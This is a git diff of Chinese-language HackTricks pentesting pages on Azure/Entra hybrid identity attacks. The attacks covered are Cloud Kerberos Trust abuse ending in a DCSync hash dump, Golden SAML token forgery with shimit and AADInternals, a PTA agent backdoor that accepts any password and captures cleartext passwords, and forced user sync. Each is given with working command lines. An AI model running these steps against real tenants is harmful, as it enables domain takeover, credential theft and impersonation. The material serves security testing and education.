|
||||
```
|
||||
**请注意，这种访问令牌也可以在其他进程中找到。**
|
||||
|
||||
|
||||
+48
-25
@@ -2,48 +2,71 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**这篇文章是** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **的总结，更多关于攻击的信息可以查看该链接。此技术也在** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**中进行了讨论。**
|
||||
**本文是** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **的总结，可以查看以获取有关攻击的更多信息。此技术也在** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**中进行了评论。**
|
||||
|
||||
## 基本信息
|
||||
## Kerberos Trust Relationship Overview
|
||||
|
||||
### 信任
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- 此功能（Windows Hello for Business的一部分）建立了一种单向信任，其中本地 AD **信任 Entra ID** 为 AD 发放 Kerberos 票证。启用后，会在 AD 中创建一个 **AzureADKerberos$** 计算机对象（显示为只读域控制器）和一个链接的 **`krbtgt_AzureAD`** 账户（一个次级 KRBTGT）。Entra ID 持有这些账户的密钥，并可以为 AD 用户发放“部分” Kerberos TGT。AD 域控制器将尊重这些票证，但具有 RODC 类似的限制：默认情况下，**高权限组（域管理员、企业管理员等）被 *拒绝***，普通用户被允许。这防止了 Entra ID 在正常情况下通过信任对域管理员进行身份验证。然而，正如我们将看到的，具有足够 Entra ID 权限的攻击者可以滥用这种信任设计。
|
||||
|
||||
当与 Azure AD 建立信任时，会在 AD 中创建一个 **只读域控制器 (RODC)**。该 **RODC 计算机账户** 名为 **`AzureADKerberos$`**。此外，还有一个名为 **`krbtgt_AzureAD`** 的次级 `krbtgt` 账户。该账户包含 Azure AD 创建的 **Kerberos 密钥**。
|
||||
## Pivoting from Entra ID to On-Prem AD
|
||||
|
||||
因此，如果该账户被攻破，可能会伪装任何用户……尽管这并不完全正确，因为该账户被禁止为任何常见的特权 AD 组（如域管理员、企业管理员、管理员等）创建票证。
|
||||
**场景：** 目标组织已为无密码身份验证启用了 **Cloud Kerberos Trust**。攻击者在 Entra ID（Azure AD）中获得了 **全局管理员** 权限，但尚未控制本地 AD。攻击者还在网络上获得了对域控制器的访问（通过 VPN 或在混合网络中的 Azure VM）。利用云信任，攻击者可以利用 Azure AD 控制在 AD 中获得 **域管理员** 级别的立足点。
|
||||
|
||||
> [!CAUTION]
|
||||
> 然而，在实际场景中，会有一些特权用户不在这些组中。因此，**如果新创建的 krbtgt 账户被攻破，可以用来伪装这些用户。**
|
||||
**前提条件：**
|
||||
|
||||
### Kerberos TGT
|
||||
- **Cloud Kerberos Trust** 在混合环境中配置（指示符：AD 中存在一个 `AzureADKerberos$` RODC 账户）。
|
||||
|
||||
此外，当用户在 Windows 上使用混合身份进行身份验证时，**Azure AD** 将发出 **部分 Kerberos 票证以及 PRT。** TGT 是部分的，因为 **AzureAD 对用户在本地 AD 中的信息有限**（如安全标识符 (SID) 和名称）。\
|
||||
Windows 然后可以通过请求 `krbtgt` 服务的服务票证来 **用这个部分 TGT 交换一个完整的 TGT**。
|
||||
- 攻击者在 Entra ID 租户中拥有 **全局管理员（或混合身份管理员）** 权限（这些角色可以使用 AD Connect **同步 API** 修改 Azure AD 用户）。
|
||||
|
||||
### NTLM
|
||||
- 至少有一个 **混合用户账户**（在 AD 和 AAD 中都存在），攻击者可以以该账户进行身份验证。这可以通过知道或重置其凭据或分配无密码方法（例如，临时访问通行证）来生成其主刷新令牌（PRT）。
|
||||
|
||||
由于可能存在不支持 Kerberos 身份验证但支持 NTLM 的服务，因此可以请求一个 **使用次级 `krbtgt`** 密钥签名的 **部分 TGT**，在请求的 **PADATA** 部分中包含 **`KERB-KEY-LIST-REQ`** 字段，然后获取一个使用主 `krbtgt` 密钥签名的完整 TGT **包括响应中的 NT 哈希**。
|
||||
- 一个 **本地 AD 目标账户**，具有高权限且不在默认 RODC “拒绝” 策略中。实际上，一个很好的目标是 **AD Connect 同步账户**（通常命名为 **MSOL_***），该账户在 AD 中具有 DCSync（复制）权限，但通常不是内置管理员组的成员。该账户通常不会同步到 Entra ID，使其 SID 可用于无冲突地冒充。
|
||||
|
||||
## 利用 Cloud Kerberos Trust 获取域管理员权限 <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
**攻击步骤：**
|
||||
|
||||
当 AzureAD 生成 **部分 TGT** 时，它将使用关于用户的详细信息。因此，如果全球管理员能够修改 AzureAD 中用户的 **安全标识符和名称**，在请求该用户的 TGT 时，**安全标识符将会不同**。
|
||||
1. **获取 Azure AD 同步 API 访问权限：** 使用全局管理员账户，获取 Azure AD **Provisioning (sync) API** 的访问令牌。这可以使用 **ROADtools** 或 **AADInternals** 等工具完成。例如，使用 ROADtools (roadtx):
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(或者，可以使用 AADInternals 的 `Connect-AADInt` 作为全局管理员进行身份验证。)*
|
||||
|
||||
无法通过 Microsoft Graph 或 Azure AD Graph 实现这一点，但可以使用 **API Active Directory Connect** 用于创建和更新同步用户的 API，全球管理员可以利用该 API **修改任何混合用户的 SAM 名称和 SID**，然后如果我们进行身份验证，就会获得包含修改后 SID 的部分 TGT。
|
||||
2. **修改混合用户的本地属性：** 利用 Azure AD **同步 API** 将选定混合用户的 **onPremises 安全标识符 (SID)** 和 **onPremises SAMAccountName** 设置为与目标 AD 账户匹配。这有效地告诉 Azure AD 云用户对应于我们想要冒充的本地账户。使用开源的 **ROADtools Hybrid** 工具包：
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> 用户的 `sourceAnchor`（不可变 ID）用于识别要修改的 Azure AD 对象。该工具将混合用户的本地 SID 和 SAM 账户名称设置为目标的值（例如，MSOL_xxxx 账户的 SID 和 SAM）。Azure AD 通常不允许通过 Graph 修改这些属性（它们是只读的），但同步服务 API 允许这样做，全球管理员可以调用此同步功能。
|
||||
|
||||
请注意，我们可以使用 AADInternals 并通过 [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet 更新同步用户。
|
||||
3. **从 Azure AD 获取部分 TGT：** 修改后，以混合用户身份对 Azure AD 进行身份验证（例如，通过在设备上获取 PRT 或使用他们的凭据）。当用户登录时（特别是在域加入或 Entra 加入的 Windows 设备上），Azure AD 将为该账户发放 **部分 Kerberos TGT (TGT**<sub>**AD**</sub>)，因为启用了 Cloud Kerberos Trust。此部分 TGT 使用 AzureADKerberos$ RODC 密钥加密，并包含我们设置的 **目标 SID**。我们可以通过 ROADtools 请求用户的 PRT 来模拟这一点：
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
这会输出一个 `.prt` 文件，其中包含部分 TGT 和会话密钥。如果该账户是云端唯一密码，Azure AD 仍然会在 PRT 响应中包含 TGT_AD。
|
||||
|
||||
### 攻击前提条件 <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
4. **用部分 TGT 交换完整 TGT（在 AD 上）：** 现在可以将部分 TGT 提交给本地域控制器，以获取目标账户的 **完整 TGT**。我们通过对 `krbtgt` 服务（域的主要 TGT 服务）执行 TGS 请求来实现这一点——本质上是将票证升级为带有完整 PAC 的正常 TGT。可以使用工具来自动化此交换。例如，使用 ROADtools Hybrid 的脚本：
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
这个脚本（或 ImPacket 等效工具）将联系域控制器并为目标 AD 账户检索有效的 TGT，包括如果使用了特殊的 Kerberos 扩展，则该账户的 NTLM 哈希。**`KERB-KEY-LIST-REQ`** 扩展会自动包含，以请求 DC 在加密回复中返回目标账户的 NTLM 哈希。结果是一个凭证缓存（`full_tgt.ccache`），用于目标账户 *或* 恢复的 NTLM 密码哈希。
|
||||
|
||||
攻击的成功和获得域管理员权限依赖于满足某些前提条件：
|
||||
5. **模拟目标并提升为域管理员：** 现在攻击者有效地 **控制了目标 AD 账户**。例如，如果目标是 AD Connect **MSOL 账户**，它在目录上具有复制权限。攻击者可以使用该账户的凭证或 Kerberos TGT 执行 **DCSync** 攻击，从 AD 中转储密码哈希（包括域 KRBTGT 账户）。例如：
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
这会转储所有 AD 用户密码哈希，给攻击者 KRBTGT 哈希（让他们随意伪造域 Kerberos 票证）并有效地获得 **域管理员** 权限。如果目标账户是另一个特权用户，攻击者可以使用完整的 TGT 以该用户身份访问任何域资源。
|
||||
|
||||
- 通过同步 API 修改账户的能力至关重要。这可以通过拥有全球管理员角色或拥有 AD Connect 同步账户来实现。或者，混合身份管理员角色也足够，因为它授予管理 AD Connect 和建立新同步账户的能力。
|
||||
- 必须存在一个 **混合账户**。该账户必须能够修改为受害者账户的详细信息，并且应可用于身份验证。
|
||||
- 必须识别出 Active Directory 中的 **目标受害者账户**。虽然攻击可以在任何已同步的账户上执行，但 Azure AD 租户必须没有复制本地安全标识符，因此需要修改一个未同步的账户以获取票证。
|
||||
- 此外，该账户应具备域管理员等效权限，但必须不属于典型的 AD 管理员组，以避免 AzureAD RODC 生成无效的 TGT。
|
||||
- 最合适的目标是 **AD Connect Sync 服务使用的 Active Directory 账户**。该账户未与 Azure AD 同步，因此其 SID 是一个可行的目标，并且由于其在同步密码哈希中的角色，固有地具有域管理员等效权限（假设密码哈希同步处于活动状态）。对于快速安装的域，该账户以 **MSOL\_** 开头。对于其他实例，可以通过枚举所有在域对象上拥有目录复制权限的账户来确定该账户。
|
||||
6. **清理：** 可选地，攻击者可以通过相同的 API 恢复被修改的 Azure AD 用户的原始 `onPremisesSAMAccountName` 和 SID，或简单地删除任何创建的临时用户。在许多情况下，下一个 Azure AD Connect 同步周期将自动还原同步属性上的未经授权的更改。（然而，到那时损害已经造成——攻击者已获得 DA 权限。）
|
||||
|
||||
### 完整攻击 <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
> [!WARNING]
|
||||
> 通过滥用云信任和同步机制，Azure AD 的全局管理员可以冒充几乎 *任何* 没有被 RODC 策略明确保护的 AD 账户，即使该账户从未进行过云同步。在默认配置下，这 **建立了从 Azure AD 破坏到本地 AD 破坏的完全信任**。
|
||||
|
||||
请查看原始文章：[https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
## 参考文献
|
||||
|
||||
- [通过云 Kerberos 信任从 Azure AD 获取域管理员](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
-9
@@ -1,9 +0,0 @@
|
||||
# Az - 默认应用程序
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**查看该技术：** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) 和 [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
这篇博客文章讨论了Azure AD中的一个权限提升漏洞，允许应用程序管理员或被攻陷的本地同步帐户通过将凭据分配给应用程序来提升权限。该漏洞源于Azure AD处理应用程序和服务主体的“设计”行为，特别影响默认的Office 365应用程序。尽管已报告，但由于对管理员权限分配行为的文档，微软并不认为该问题是一个漏洞。文章提供了详细的技术见解，并建议定期审查Azure AD环境中的服务主体凭据。有关更详细的信息，您可以访问原始博客文章。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+152
@@ -0,0 +1,152 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**联邦**是建立了**信任**的一组**域**。信任的级别可能有所不同，但通常包括**身份验证**，几乎总是包括**授权**。一个典型的联邦可能包括一组已建立**信任**的**组织**，以便**共享访问**一组资源。
|
||||
>您可以将**本地**环境与**Azure AD**进行**联邦**，并使用此联邦进行身份验证和授权。这种登录方法确保所有用户的**身份验证发生在本地**。这种方法允许管理员实施更严格的访问控制。与**AD FS**和PingFederate的联邦是可用的。
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
基本上，在联邦中，所有**身份验证**发生在**本地**环境中，用户在所有受信任的环境中体验单点登录（SSO）。因此，用户可以使用其**本地凭据**访问**云**应用程序。
|
||||
|
||||
**安全断言标记语言（SAML）**用于在提供者之间**交换**所有身份验证和授权**信息**。
|
||||
|
||||
在任何联邦设置中，有三个参与方：
|
||||
|
||||
- 用户或客户端
|
||||
- 身份提供者（IdP）
|
||||
- 服务提供者（SP）
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. 最初，用户访问一个应用程序（服务提供者或SP，例如AWS控制台或vSphere Web客户端）。根据具体实现，这一步可能会被绕过，直接将客户端引导到IdP（身份提供者）。
|
||||
2. 随后，SP识别适当的IdP（例如，AD FS，Okta）进行用户身份验证。然后，它构建一个SAML（安全断言标记语言）AuthnRequest，并将客户端重定向到所选的IdP。
|
||||
3. IdP接管，进行用户身份验证。身份验证后，IdP生成SAMLResponse并通过用户转发给SP。
|
||||
4. 最后，SP评估SAMLResponse。如果成功验证，表明与IdP之间存在信任关系，则用户被授予访问权限。这标志着登录过程的完成，允许用户使用该服务。
|
||||
|
||||
**如果您想了解更多关于SAML身份验证和常见攻击的信息，请访问：**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
{{#endref}}
|
||||
|
||||
## 旋转
|
||||
|
||||
- AD FS是基于声明的身份模型。
|
||||
- "..声明只是关于用户的语句（例如，姓名、身份、组），主要用于授权访问位于互联网上任何地方的基于声明的应用程序。"
|
||||
- 用户的声明写入SAML令牌中，然后由IdP签名以提供机密性。
|
||||
- 用户通过ImmutableID进行识别。它是全局唯一的，并存储在Azure AD中。
|
||||
- ImmutableID存储在本地作为ms-DS-ConsistencyGuid，用户和/或可以从用户的GUID派生。
|
||||
- 更多信息请参见[https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**黄金SAML攻击：**
|
||||
|
||||
- 在ADFS中，SAML响应由令牌签名证书签名。
|
||||
- 如果证书被泄露，可以作为任何同步到Azure AD的用户进行身份验证！
|
||||
- 就像我们的PTA滥用一样，用户的密码更改或MFA不会产生任何影响，因为我们伪造了身份验证响应。
|
||||
- 可以从AD FS服务器提取证书，具有DA权限，然后可以从任何连接到互联网的机器上使用。
|
||||
- 更多信息请参见[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
### 黄金SAML
|
||||
|
||||
**身份提供者（IdP）**生成**SAMLResponse**以授权用户登录的过程至关重要。根据IdP的具体实现，**响应**可能会使用**IdP的私钥**进行**签名**或**加密**。此过程使**服务提供者（SP）**能够确认SAMLResponse的真实性，确保它确实是由受信任的IdP发出的。
|
||||
|
||||
可以与[黄金票证攻击](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)进行类比，其中用于验证用户身份和权限的密钥（黄金票证的KRBTGT，黄金SAML的令牌签名私钥）可以被操纵以**伪造身份验证对象**（TGT或SAMLResponse）。这允许冒充任何用户，授予对SP的未授权访问。
|
||||
|
||||
黄金SAML提供某些优势：
|
||||
|
||||
- 它们可以**远程创建**，无需成为相关域或联邦的一部分。
|
||||
- 即使启用**双因素身份验证（2FA）**，它们仍然有效。
|
||||
- 令牌签名**私钥不会自动续订**。
|
||||
- **更改用户的密码不会使**已生成的SAML失效。
|
||||
|
||||
#### AWS + AD FS + 黄金SAML
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) 是一项Microsoft服务，促进受信任商业伙伴之间的**身份信息安全交换**（联邦）。它本质上允许域服务与联邦内的其他服务提供者共享用户身份。
|
||||
|
||||
由于AWS信任被泄露的域（在联邦中），可以利用此漏洞潜在地**获取AWS环境中的任何权限**。该攻击需要**用于签名SAML对象的私钥**，类似于在黄金票证攻击中需要KRBTGT。访问AD FS用户帐户足以获取此私钥。
|
||||
|
||||
执行黄金SAML攻击的要求包括：
|
||||
|
||||
- **令牌签名私钥**
|
||||
- **IdP公钥证书**
|
||||
- **IdP名称**
|
||||
- **角色名称（要假设的角色）**
|
||||
- 域\用户名
|
||||
- AWS中的角色会话名称
|
||||
- 亚马逊账户ID
|
||||
|
||||
_只有加粗的项目是强制性的。其他项目可以根据需要填写。_
|
||||
|
||||
要获取**私钥**，需要访问**AD FS用户帐户**。从那里，可以使用[mimikatz](https://github.com/gentilkiwi/mimikatz)等工具从个人存储中**导出私钥**。要收集其他所需信息，可以使用Microsoft.Adfs.Powershell snapin，如下所示，确保您以ADFS用户身份登录：
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
|
||||
# ADFS Public Certificate
|
||||
[System.Convert]::ToBase64String($cer.rawdata)
|
||||
|
||||
# IdP Name
|
||||
(Get-ADFSProperties).Identifier.AbsoluteUri
|
||||
|
||||
# Role Name
|
||||
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
|
||||
```
|
||||
通过所有信息，可以使用 [**shimit**](https://github.com/cyberark/shimit)**:** 忘记一个有效的 SAMLResponse，作为您想要冒充的用户。
|
||||
```bash
|
||||
# Apply session for AWS cli
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
|
||||
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
|
||||
# pk - Private key file full path (pem format)
|
||||
# c - Certificate file full path (pem format)
|
||||
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
|
||||
# n - Session name in AWS
|
||||
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
|
||||
# id - AWS account id e.g. 123456789012
|
||||
|
||||
# Save SAMLResponse to file
|
||||
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
|
||||
```
|
||||
<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
### 本地 -> 云
|
||||
```bash
|
||||
# With a domain user you can get the ImmutableID of the target user
|
||||
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
|
||||
|
||||
# On AD FS server execute as administrator
|
||||
Get-AdfsProperties | select identifier
|
||||
|
||||
# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
|
||||
# You need to use the one from AzureAD.
|
||||
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
|
||||
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri
|
||||
|
||||
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
|
||||
Export-AADIntADFSSigningCertificate
|
||||
|
||||
# Impersonate a user to to access cloud apps
|
||||
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
也可以为仅云用户创建 ImmutableID 并冒充他们。
|
||||
```bash
|
||||
# Create a realistic ImmutableID and set it for a cloud only user
|
||||
[System.Convert]::ToBase64String((New-Guid).tobytearray())
|
||||
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
|
||||
|
||||
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
|
||||
Export-AADIntADFSSigningCertificate
|
||||
|
||||
# Impersonate the user
|
||||
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
|
||||
```
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
# 混合身份杂项攻击
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 强制将 Entra ID 用户同步到本地
|
||||
|
||||
如 [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) 中提到的，可以在本地 AD 中更改 **`ProxyAddress`** 的值，添加 Entra ID 管理员用户的电子邮件，并确保 AD 中用户的 UPN 与 Entra ID 中的匹配（这又是 Entra ID），例如 **`SMTP:admin@domain.onmicrosoft.com`**。这将 **强制将该用户从 Entra ID 同步到本地 AD**，因此如果知道该用户的密码，可以用来 **访问 Entra ID 中的管理员**。
|
||||
|
||||
为了将新用户从 Entra ID 同步到本地 AD，唯一的要求是：
|
||||
|
||||
- 控制本地 AD 中用户的属性（或有权限创建新用户）
|
||||
- 知道用户仅在云中，以便从 Entra ID 同步到本地 AD
|
||||
- 你可能还需要能够将 Entra ID 用户的 immutableID 属性更改为本地 AD 用户，以进行 **硬匹配**。
|
||||
|
||||
> [!CAUTION]
|
||||
> Entra ID 不再允许将管理员从 Entra ID 同步到本地 AD。
|
||||
> 此外，这 **不会绕过 MFA**。
|
||||
|
||||
## 参考
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
|
||||
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+6
-6
@@ -4,11 +4,11 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 透传身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验——记住一个密码更少，并且减少了 IT 帮助台的成本，因为您的用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时，此功能会直接针对您的本地 Active Directory 验证用户的密码。
|
||||
[来自文档：](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra 透传身份验证允许您的用户使用相同的密码**登录本地和基于云的应用程序**。此功能为您的用户提供了更好的体验 - 记住的密码少了一项，并且减少了 IT 帮助台的成本，因为您的用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时，此功能会直接针对您的本地 Active Directory 验证用户的密码。
|
||||
|
||||
在 PTA 中，**身份**是**同步**的，但**密码**不像 PHS 那样。
|
||||
|
||||
身份验证在本地 AD 中验证，与云的通信由在**本地服务器**上运行的**身份验证代理**完成（它不需要在本地 DC 上）。
|
||||
身份验证在本地 AD 中验证，云端的通信由在**本地服务器**上运行的**身份验证代理**完成（它不需要在本地 DC 上）。
|
||||
|
||||
### 身份验证流程
|
||||
|
||||
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
如果您对运行 **PTA** **代理** 的 **Azure AD Connect 服务器** 拥有 **admin** 访问权限，您可以使用 **AADInternals** 模块 **插入后门**，以 **验证所有输入的密码**（因此所有密码都将有效用于身份验证）：
|
||||
如果您对运行 **PTA** **agent** 的 **Azure AD Connect server** 拥有 **admin** 访问权限，您可以使用 **AADInternals** 模块 **插入一个后门**，该后门将 **验证所有输入的密码**（因此所有密码都将有效用于身份验证）：
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
@@ -73,18 +73,18 @@ Remove-AADIntPTASpy # Remove the backdoor
|
||||
这个后门将会：
|
||||
|
||||
- 创建一个隐藏文件夹 `C:\PTASpy`
|
||||
- 复制一个 `PTASpy.dll` 到 `C:\PTASpy`
|
||||
- 复制 `PTASpy.dll` 到 `C:\PTASpy`
|
||||
- 将 `PTASpy.dll` 注入到 `AzureADConnectAuthenticationAgentService` 进程中
|
||||
|
||||
> [!NOTE]
|
||||
> 当 AzureADConnectAuthenticationAgent 服务被重启时，PTASpy 会被“卸载”，必须重新安装。
|
||||
|
||||
> [!CAUTION]
|
||||
> 在云中获得**GA权限**后，可以**注册一个新的PTA代理**，并且可以**重复**之前的步骤**使用任何密码进行身份验证**，并且**以明文获取密码**。
|
||||
> 在云中获得**GA权限**后，可以**注册一个新的PTA代理**，并可以**重复**之前的步骤**使用任何密码进行身份验证**，并且**以明文获取密码**。
|
||||
|
||||
### Seamless SSO
|
||||
|
||||
可以使用 PTA 的 Seamless SSO，这对其他滥用是脆弱的。请查看：
|
||||
可以使用与PTA的无缝SSO，这对其他滥用是脆弱的。请查看：
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
# Az- 同步新用户
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 将 AzureAD 用户同步到本地以从本地升级到 AzureAD
|
||||
|
||||
为了将新用户从 **AzureAD 同步到本地 AD**，需要满足以下要求：
|
||||
|
||||
- **AzureAD 用户** 需要有一个代理地址（一个 **邮箱**）
|
||||
- 不需要许可证
|
||||
- 应该 **尚未同步**
|
||||
```bash
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
当在 AzureAD 中找到这样的用户时，为了**从本地 AD 访问它**，您只需**创建一个新帐户**，其**proxyAddress**为 SMTP 电子邮件。
|
||||
|
||||
这样，该用户将**自动从 AzureAD 同步到本地 AD 用户**。
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意，要执行此攻击，您**不需要域管理员**权限，您只需有权限**创建新用户**。
|
||||
>
|
||||
> 此外，这**不会绕过 MFA**。
|
||||
>
|
||||
> 此外，有报告称**管理员帐户的帐户同步不再可能**。
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
-153
@@ -1,153 +0,0 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**联邦**是建立了**信任**的一组**域**。信任的级别可能有所不同，但通常包括**身份验证**，几乎总是包括**授权**。一个典型的联邦可能包括一组已建立**信任**的**组织**，以便**共享访问**一组资源。
|
||||
|
||||
